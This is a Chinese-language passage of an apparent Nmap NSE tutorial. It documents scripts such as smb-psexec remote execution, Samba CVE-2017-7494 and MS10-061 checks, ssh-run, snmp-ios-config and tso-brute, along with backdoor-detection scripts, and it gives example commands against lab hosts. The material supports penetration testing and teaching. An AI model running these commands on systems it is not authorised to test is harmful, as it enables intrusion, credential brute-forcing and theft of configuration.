既然我已经详细讨论了如何使用这个脚本,我想花点时间谈谈它的工作原理。

运行脚本分为几个阶段:

        1. 找到一个我们可以写入的打开的文件共享。查找打开的文件共享基本上包括枚举所有共享并查看我们可以访问哪些共享。
        2. 上传“服务包装器”和所有可上传/额外文件。在上传之前,每个文件的名称都会被混淆。混淆会完全重命名文件,对于每个源系统都是唯一的,并且在多次运行之间不会更改。如果多个人在同一台计算机上运行此操作,这种混淆的好处是可以防止文件名重叠,同时也使确定它们的用途变得更加困难。每次运行时保持一致的原因是为了便于清理:如果脚本以某种方式失败,则会在系统上留下一个随机文件名。

        3. 创建并启动新服务。新服务具有随机名称,原因与文件相同,并指向已上传的“服务包装器”程序。

        4. 服务运行进程。进程一个接一个地运行,并捕获其输出。使用简单(且非常不安全)的异或算法对输出进行混淆,该算法旨在防止随意嗅探(但不会阻止智能攻击者)。这些数据被放入一个临时输出文件中。当所有程序都完成后,该文件被重命名为最终输出文件
        5. 输出文件被下载,并执行清理。重命名的文件触发程序的最后阶段,在此阶段下载数据并删除所有相关文件。
        6. 输出文件现已解密,并被格式化并显示给用户。

这就是它的工作原理!

请将任何问题或有关更好模块的建议发送至 dev@nmap.org。

并且,像往常一样,由于此工具可能很危险并且很容易被视为恶意工具 - 请负责任地使用它,并且不要用它违反任何法律。

一些后续版本的想法(TODO):

        为脚本设置更好的环境(PATH、SystemRoot 等)。没有这个,很多程序(特别是处理网络流量的程序)会表现异常。
        抽象运行远程进程所需的代码,以便其他脚本可以更轻松地使用它(很难,但最终会非常值得)。(实际上可能不可能。这个模块中有很多开销和专门的代码。不过,我们会看到。)
        让用户指定一个输出文件(每个脚本),以便他们可以下载二进制文件(不认为这是值得的)。
        考虑并行运行外部程序(不确定好处是否大于缺点)。
        让配置从进程而不是输出请求返回代码(不确定这样做是否值得)。
        在单个会话中检查多个共享以保存数据包(并查看我们还能在哪里限制流量)。

nohide

        不要将上传的文件设置为隐藏/系统/等。

cleanup

        设置为仅清理我们在上次运行脚本时造成的任何混乱(主机操作系统上的剩余文件、进程等)。这将尝试从每个共享中删除文件,而不仅仅是第一个共享。这样做是为了在操作系统更改共享的顺序时防止剩余文件(不能保证共享会以任何特定顺序返回)请注意,清理仍然相当具有侵入性,因为它必须重新发现正确的共享、连接到它、删除文件、打开服务管理器等。

nocipher

        设置为禁用返回文本的加密(对调试有用)。

sharepath

        共享的完整路径(例如“c:\windows”)。创建服务时需要此文件。

config

        要使用的配置文件(例如默认)。配置文件需要 .lua 扩展名,位于 nselib/data/psexec 中。

time

        等待外部模块完成的最短时间(以秒为单位)(默认值:15)

nocleanup

        设置为完全不清理;这会将文件保留在远程系统上并安装包装器服务。这在实践中很糟糕,但可以显著减少网络流量并使分析更容易。

key

        脚本使用此值而不是随机加密密钥(用于调试加密)。

share

        设置为覆盖用于上传的共享。这也会阻止枚举共享,并且将忽略所有其他共享。在使用它之前不会进行任何检查以确定这是否是有效共享。需要设置 sharepath。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap --script "smb-psexec.nse" --script-args=smbuser=msfadmin,smbpass=,config=nselib/data/psexec -p445 192.168.174.132
sudo nmap -sU -sS --script "smb-psexec.nse" --script-args=smbuser=Windwos7,smbpass=,config=config -p U:137,T:139 192.168.174.128

smb-server-stats

已演示过。这里不再演示。

smb-system-info

已演示过。这里不再演示。

smb-vuln-conficker

已演示过。这里不再演示。

557. smb-vuln-cve-2017-7494

检查目标机器是否容易受到任意共享库加载漏洞 CVE-2017-7494 的攻击。

未打补丁的 Samba 版本(从 3.5.0 到 4.4.13)以及 4.5.10 和 4.6.4 之前的版本受到允许远程代码执行的漏洞的影响,允许恶意客户端将共享库上传到可写共享,然后导致服务器加载并执行它。

默认情况下,脚本不会扫描版本号,因为针对主流 Linux 发行版发布的补丁不会更改版本号。

脚本检查漏洞发生的先决条件:

1) 如果应用了参数 check-version,脚本将仅检查运行可能存在漏洞的 Samba 版本的服务,并针对这些服务运行漏洞。如果您希望根据版本号快速扫描一组主机以查找漏洞,这将非常有用。但是,由于版本号的原因,一些打补丁的版本可能仍会显示为可能存在漏洞。在这里,我们使用 smb.get_os(host) 对 Samba 版本进行版本控制,并进行比较,以查看它是否是已知的易受攻击的 Samba 版本。请注意,此检查并非结论性的:请参阅 2、3、4

2) 是否存在可写共享来执行脚本。我们必须能够将文件写入共享才能进行攻击。因此,我们使用 smb.share_find_writable(host) 枚举共享,它返回 main_name、main_path 和可写共享列表。

3) 是否应用了解决方法(禁用命名管道)。当主机上配置了“nt pipe support = no”时,该服务将无法被利用。因此,我们使用 smb.share_get_details(host, 'IPC$') 检查主机上是否配置了此功能。如果应用了解决方法,则返回的错误将是“NT_STATUS_ACCESS_DENIED”。

4) 我们是否可以从共享中调用有效载荷。使用 Metasploit 中的有效载荷,我们将库文件上传到从 2) 获得的可写共享。然后我们使用 NT_CREATE_ANDX_REQUEST 向实际的本地文件路径发出命名管道请求,如果有效载荷执行,则状态返回将为 false。请注意,此脚本仅测试 Linux_x86 和 Linux_x64 有效载荷。

此脚本基于 hdm 编写的 metasploit 模块。

参考:

        https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb
        https://www.samba.org/samba/security/CVE-2017-7494.html
        http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/

smb-vuln-cve-2017-7494.check-version

        仅检查目标 Samba 服务的版本号。默认值:false

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

sudo nmap --script "smb-vuln-cve-2017-7494" -p 445 ip/域名
sudo nmap --script "smb-vuln-cve-2017-7494" --script-args "smb-vuln-cve-2017-7494.check-version" -p445 ip/域名

smb-vuln-cve2009-3103

已演示过。这里不再演示。

smb-vuln-ms06-025

已演示过。这里不再演示。

smb-vuln-ms07-029

已演示过。这里不再演示。

smb-vuln-ms08-067

已演示过。这里不再演示。

smb-vuln-ms10-054

已演示过。这里不再演示。

558. smb-vuln-ms10-061

测试目标机器是否容易受到 ms10-061 打印机后台处理程序模拟漏洞的攻击。

此漏洞曾用于 Stuxnet 蠕虫。由于这不是内存损坏漏洞,因此脚本以安全的方式检查漏洞,而不会导致远程系统崩溃。为了使检查工作正常,它需要访问远程系统上的至少一个共享打印机。默认情况下,它会尝试使用 LANMAN API 枚举打印机,但在某些系统上默认情况下不可用。在这种情况下,用户应将打印机共享名称指定为打印机脚本参数。要查找打印机共享,可以使用 smb-enum-shares。此外,在某些系统上,访问共享需要有效的凭据,可以使用 smb 库参数 smbuser 和 smbpassword 指定。

参考文献: - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729 - http://technet.microsoft.com/en-us/security/bulletin/MS10-061 - http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx

printer

        打印机共享名称。可选,默认情况下,脚本会尝试枚举可用的打印机共享。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap -p 445 192.168.174.132 --script=smb-vuln-ms10-061

smb-vuln-regsvc-dos

已演示过。这里不再演示。

559. smb-vuln-webexec

WebExService(WebExec)中存在一个严重的远程代码执行漏洞。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap --script "smb-vuln-webexec" --script-args "smbusername=msfadmin,smbpass=msfadmin" -p445 192.168.174.132

smb-webexec-exploit

已演示过。这里不再演示。

smtp-brute

已演示过。这里不再演示。

smtp-enum-users

已演示过。这里不再演示。

smtp-open-relay

已演示过。这里不再演示。

smtp-vuln-cve2010-4344

已演示过。这里不再演示。

560. smtp-vuln-cve2011-1720

检查 Postfix SMTP 服务器在使用 Cyrus SASL 库身份验证机制 (CVE-2011-1720) 时是否存在内存损坏。此漏洞可能导致拒绝服务,甚至可能导致远程代码执行。

参考:

        http://www.postfix.org/CVE-2011-1720.html

smtp.domain

        请参阅 smtp 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=8.8.8.8' -pT:25,465,587 192.168.174.132

561. smtp-vuln-cve2011-1764

检查 Exim SMTP 服务器(版本 4.70 至 4.75)中是否存在格式字符串漏洞,该服务器支持域密钥识别邮件 (DKIM) (CVE-2011-1764)。DKIM 日志记录机制在记录 DKIM-Signature 标头字段的某些部分时未使用格式字符串说明符。能够发送电子邮件的远程攻击者可以利用此漏洞并以 Exim 守护程序的权限执行任意代码。

参考:

        http://bugs.exim.org/show_bug.cgi?id=1106
        http://thread.gmane.org/gmane.mail.exim.devel/4946
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-1764
        http://en.wikipedia.org/wiki/DomainKeys_Identified_Mail

smtp-vuln-cve2011-1764.mailto

        定义要使用的目标电子邮件地址。

smtp-vuln-cve2011-1764.mailfrom

        定义要使用的源电子邮件地址。

smtp.domain

        请参阅 smtp 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

sudo nmap --script=smtp-vuln-cve2011-1764 -pT:25,465,587 ip/域名

sniffer-detect

已演示过。这里不再演示。

snmp-brute

已演示过。这里不再演示。

562. snmp-ios-config

尝试使用 SNMP RW (v1) 下载 Cisco 路由器 IOS 配置文件并显示或保存它们。

snmp-ios-config.tftproot

        如果设置,则指定下载的配置应保存到哪个目录

snmp.retries、snmp.timeout、snmp.version

        请参阅 snmp 库的文档。

creds.[service]、creds.global

        请参阅 creds 库的文档。

sudo nmap -sU -p 161 --script "snmp-ios-config" --script-args "creds.snmp=:id" ip/域名

socks-brute

已演示过。这里不再演示。

ssh-auth-methods

已演示过。这里不再演示。

ssh-brute

已演示过。这里不再演示。

ssh-publickey-acceptance

已演示过。这里不再演示。

563. ssh-run

在 ssh 服务器上运行远程命令并返回命令输出。

ssh-run.username

        要验证的用户名

ssh-run.cmd

        在远程服务器上运行的命令

ssh-run.password

        如果使用密码验证,则要使用的密码

ssh-run.privatekey

        如果使用公钥验证,则要使用的私钥文件

ssh-run.passphrase

        如果使用公钥验证,则要为私钥设置密码

nmap -p 22 --script=ssh-run --script-args="ssh-run.cmd=ls -l /, ssh-run.username=ubuntu, ssh-run.password=root" 192.168.174.145

ssl-enum-ciphers

已演示过。这里不再演示。

564. sslv2-drown

确定服务器是否支持 SSLv2、支持哪些密码以及测试 CVE-2015-3197、CVE-2016-0703 和 CVE-2016-0800 (DROWN)

tls.servername

        请参阅 tls 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

mssql.domain、mssql.instance-all、mssql.instance-name、mssql.instance-port、mssql.password、mssql.protocol、mssql.scanned-ports-only、mssql.timeout、mssql.username

        请参阅 mssql 库的文档。

smtp.domain

        请参阅 smtp 库的文档。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

sudo nmap -sV --script=sslv2-drown -p443 ip/域名

stuxnet-detect

已演示过。这里不再演示。

svn-brute

已演示过。这里不再演示。

telnet-brute

已演示过。这里不再演示。

tftp-enum

已演示过。这里不再演示。

565. tso-brute

TSO 帐户暴力破解器。

此脚本依赖于 NSE TN3270 库,该库模拟 NMAP 的 TN3270 屏幕。

TSO 用户 ID 有以下规则: - 不能以数字开头 - 仅包含字母数字字符和 @、#、$。 - 不能超过 7 个字符

tso-brute.commands

        访问 TSO 所需的命令以分号分隔。默认为 TSO。

tso-brute.always_logon

        如果 TSO 登录猜出正确的密码,则可以将其踢出。always_logon 设置为 true 时,即使用户已登录,也会登录(踢出该用户)。默认值 false 将跳过该帐户。

brute.credfile、brute.delay、brute.emptypass、brute.firstonly、brute.guesses、brute.mode、brute.passonly、brute.retries、brute.start、brute.threads、brute.unique、brute.useraspass

        请参阅 brute 库的文档。

creds.[service]、creds.global

        请参阅 creds 库的文档。

passdb、unpwdb.passlimit、unpwdb.timelimit、unpwdb.userlimit、userdb

        请参阅 unpwdb 库的文档。

sudo nmap -p 2401 --script "tso-brute" ip/域名

vmauthd-brute

已演示过。这里不再演示。

vnc-brute

已演示过。这里不再演示。

vnc-title

已演示过。这里不再演示。

vtam-enum

已演示过。这里不再演示。

xmpp-brute

已演示过。这里不再演示。

malware(恶意软件)

这些脚本测试目标平台是否被恶意软件或后门感染。示例包括 smtp-strangeport,用于监视在异常端口号上运行的 SMTP 服务器;以及 auth-spoof,用于检测在收到查询之前就提供虚假答案的 identd 欺骗守护进程。这两种行为通常与恶意软件感染有关。

566. auth-spoof

检查是否有 identd(auth)服务器在伪造其回复。

在我们发送查询之前,测试 identd(auth)服务器是否响应答案。这种 identd 伪造可能是恶意软件感染的迹象,但它也可以用于合法的隐私原因。

sudo nmap -sV --script=auth-spoof -p113 ip/域名

dns-zeustracker

已演示过。这里不再演示。

ftp-proftpd-backdoor

已演示过。这里不再演示。

ftp-vsftpd-backdoor

已演示过。这里不再演示。

http-google-malware

已演示过。这里不再演示。

567. http-malware-host

查找已知服务器入侵的签名。

目前,它查找的唯一签名是此处讨论的签名:http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/。这是通过请求页面 /ts/in.cgi?open2 并查找错误的 302(它尝试检测始终返回 302 的服务器)来完成的。感谢上述链接中的 Denis 发现此技术!

slaxml.debug

        请参阅 slaxml 库的文档。

http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent

        请参阅 http 库的文档。

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

nmap -sV --script=http-malware-host -p80,443,8080 ip/域名

http-virustotal

已演示过。这里不再演示。

irc-unrealircd-backdoor

已演示过。这里不再演示。

568. smb-double-pulsar-backdoor

检查目标机器是否正在运行 Double Pulsar SMB 后门。

基于 Countercept 的 Luke Jennings 编写的 python 检测脚本。https://github.com/countercept/doublepulsar-detection-script

smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername

        请参阅 smbauth 库的文档。

randomseed、smbbasic、smbport、smbsign

        请参阅 smb 库的文档。

vulns.short、vulns.showall

        请参阅 vulns 库的文档。

nmap -p 445 192.168.174.132 --script=smb-double-pulsar-backdoor

569. smtp-strangeport

检查 SMTP 是否在非标准端口上运行。

这可能表明破解者或脚本小子在系统上设置了后门来发送垃圾邮件或控制机器。

nmap -sV --script=smtp-strangeport -p22 192.168.174.132

由于篇幅有限,请看下一章教程!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值